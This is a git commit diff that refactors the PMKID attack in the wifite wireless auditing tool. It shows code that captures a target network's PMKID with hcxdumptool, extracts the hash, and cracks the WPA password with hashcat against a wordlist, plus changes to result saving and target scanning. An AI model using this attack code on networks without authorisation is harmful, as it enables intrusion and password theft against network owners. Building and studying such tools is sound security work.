Cleaning up PMKID attack.

This commit is contained in:
derv82
2018-08-15 15:58:59 -07:00
parent 936230dd50
commit dd7e93666a
6 changed files with 93 additions and 131 deletions

View File

@@ -3,6 +3,7 @@
from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
@@ -11,155 +12,105 @@ from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
import re
'''
TODO:
1. Rename AttackWPA to AttackWpaHandshake
2. Rename AttackWPS to AttackWpaPixie
3. Rename AttackPMKID to AttackWpaPMKID
4. Use AttackWPA to try any or all of the above depending on config/args.
Greatly simplifies the attack loop in wifite.py
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
'''
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_output = Configuration.temp('pmkid.pcapng')
self.pmkid_output = Configuration.temp('pmkid.16800')
self.pcapng_file = Configuration.temp('pmkid.pcapng')
def run(self):
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
# TODO: Check ./hs/ for previously-captured PMKID, skip to crack if found.
self.keep_capturing = True
self.timer = Timer(60)
# Start hcxdumptool
t = Thread(target=self.hcxdump_thread)
t = Thread(target=self.dumptool_thread)
t.start()
# Regularly check hcxpcaptool output for hash for self.target.essid
# Repeatedly run pcaptool & check output for hash for self.target.essid
pmkid_hash = None
pcaptool = HcxPcapTool(self.target)
while self.timer.remaining() > 0:
pmkid_hash = self.get_pmkid_hash()
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
if pmkid_hash is not None:
# Got PMKID
break
Color.pattack('PMKID', self.target, 'capture',
break # Got PMKID
Color.pattack('PMKID', self.target, 'CAPTURE',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
if pmkid_hash is not None:
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
# When hash is found, start cracking
if self.crack_pmkid(pmkid_hash):
self.success = True
self.keep_capturing = False
return self.success
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID.')
return False # No hash found.
def crack_pmkid(self, pmkid_hash):
# Write hash to file
# TODO: Should we write this to ./hs/ with .pmkid suffix?
hash_file = Configuration.temp('pmkid.hash')
with open(hash_file, 'w') as f:
f.write(pmkid_hash)
f.write('\n')
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
pmkid_file = self.save_pmkid(pmkid_hash)
# Run hashcat
command = [
'hashcat',
'--force',
'--quiet',
'-m', '16800',
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
hash_file,
Configuration.wordlist
]
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not set.')
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID... ')
key = Hashcat.crack_pmkid(pmkid_file)
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
stdout = ''
if ':' not in stdout:
# Failed
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
if key is None:
# Failed to crack.
Color.pattack('PMKID', self.target, 'CRACK',
'{R}Failed{O} to crack PMKID ')
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
#self.crack_result.dump()
return False
else:
# Update Crack Result
key = stdout.strip().split(':', 1)[1]
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
# Successfully cracked.
Color.pattack('PMKID', self.target, '',
'{C}Cracked PMKID. Key: {G}%s{W}' % key)
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_hash, pmkid_file, key)
self.crack_result.dump()
self.success = True
return True
def get_pmkid_hash(self):
if os.path.exists(self.pmkid_output):
os.remove(self.pmkid_output)
command = [
'hcxpcaptool',
'-z', self.pmkid_output,
self.pcapng_output
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_output):
return None
with open(self.pmkid_output, 'r') as f:
output = f.read()
# Check that we got the right target
# pmkid_hash*bssid*station_mac*essid(hex)
for line in output.split('\n'):
fields = line.split('*')
if len(fields) < 3:
continue
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
continue
output = line
break
os.remove(self.pmkid_output)
return output
def hcxdump_thread(self):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_file:
filter_file.write(self.target.bssid.replace(':', ''))
if os.path.exists(self.pcapng_output):
os.remove(self.pcapng_output)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", self.target.channel,
"-o", self.pcapng_output
]
hcxdump_proc = Process(command)
def dumptool_thread(self):
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
while self.keep_capturing and hcxdump_proc.poll() == None:
while self.keep_capturing and dumptool.poll() == None:
time.sleep(0.5)
hcxdump_proc.interrupt()
dumptool.interrupt()
def save_pmkid(self, pmkid_hash):
'''
Saves a copy of the pmkid (handshake) to hs/
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
bssid_safe = self.target.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n')
Color.pl('{G}saved{W}')
return pmkid_file

View File

@@ -5,11 +5,12 @@ from ..util.color import Color
from .result import CrackResult
class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_hash, key):
def __init__(self, bssid, essid, pmkid_hash, pmkid_file, key):
self.result_type = 'PMKID'
self.bssid = bssid
self.essid = essid
self.pmkid_hash = pmkid_hash
self.pmkid_file = pmkid_file
self.key = key
super(CrackResultPMKID, self).__init__()
@@ -24,7 +25,10 @@ class CrackResultPMKID(CrackResult):
('Encryption'.rjust(19), self.result_type))
if self.pmkid_hash:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID'.rjust(19), self.pmkid_hash))
('PMKID Hash'.rjust(19), self.pmkid_hash))
if self.pmkid_file:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID File'.rjust(19), self.pmkid_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
@@ -37,14 +41,15 @@ class CrackResultPMKID(CrackResult):
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'pmkid' : self.pmkid_hash
'pmkid_hash' : self.pmkid_hash,
'pmkid_file' : self.pmkid_file
}
if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'abcd1234')
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'abcd1234')
w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'Key')
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'Key')
print('\n')
w.dump()
w.save()

View File

@@ -94,7 +94,8 @@ class CrackResult(object):
from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'],
json['essid'],
json['pmkid'],
json['pmkid_hash'],
json['pmkid_file'],
json['key'])
result.date = json['date']
return result

View File

@@ -137,7 +137,7 @@ class Airodump(Dependency):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(os.path.join(temp_dir, fil))
def get_targets(self, apply_filter=True):
def get_targets(self, old_targets=[], apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
@@ -150,13 +150,17 @@ class Airodump(Dependency):
return self.targets # No file found
targets = Airodump.get_targets_from_csv(csv_filename)
for old_target in old_targets:
for target in targets:
if old_target.bssid == target.bssid:
target.wps = old_target.wps
# Check targets for WPS
if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap'
try:
Tshark.check_for_wps_and_update_targets(capfile, targets)
except Exception as e:
except ValueError:
# No tshark, or it failed. Fall-back to wash
Wash.check_for_wps_and_update_targets(capfile, targets)
@@ -178,9 +182,6 @@ class Airodump(Dependency):
new_target.decloaked = True
self.decloaked_bssids.add(new_target.bssid)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets
self.deauth_hidden_targets()

View File

@@ -161,7 +161,7 @@ class Tshark(Dependency):
'''
if not Tshark.exists():
raise Exception('Cannot detect WPS networks: Tshark does not exist')
raise ValueError('Cannot detect WPS networks: Tshark does not exist')
command = [
'tshark',

View File

@@ -36,15 +36,18 @@ class Scanner(object):
while True:
if airodump.pid.poll() is not None:
# Airodump process died
self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
raise KeyboardInterrupt
return
self.targets = airodump.get_targets()
self.targets = airodump.get_targets(old_targets=self.targets)
if self.found_target():
# We found the target we want
return
if airodump.pid.poll() is not None:
# Airodump process died
return
for target in self.targets:
if target.bssid in airodump.decloaked_bssids:
target.decloaked = True
@@ -69,6 +72,7 @@ class Scanner(object):
return
sleep(1)
except KeyboardInterrupt:
pass
@@ -193,7 +197,7 @@ class Scanner(object):
input_str += ' or {G}all{W}: '
chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','):
choice = choice.strip()
if choice.lower() == 'all':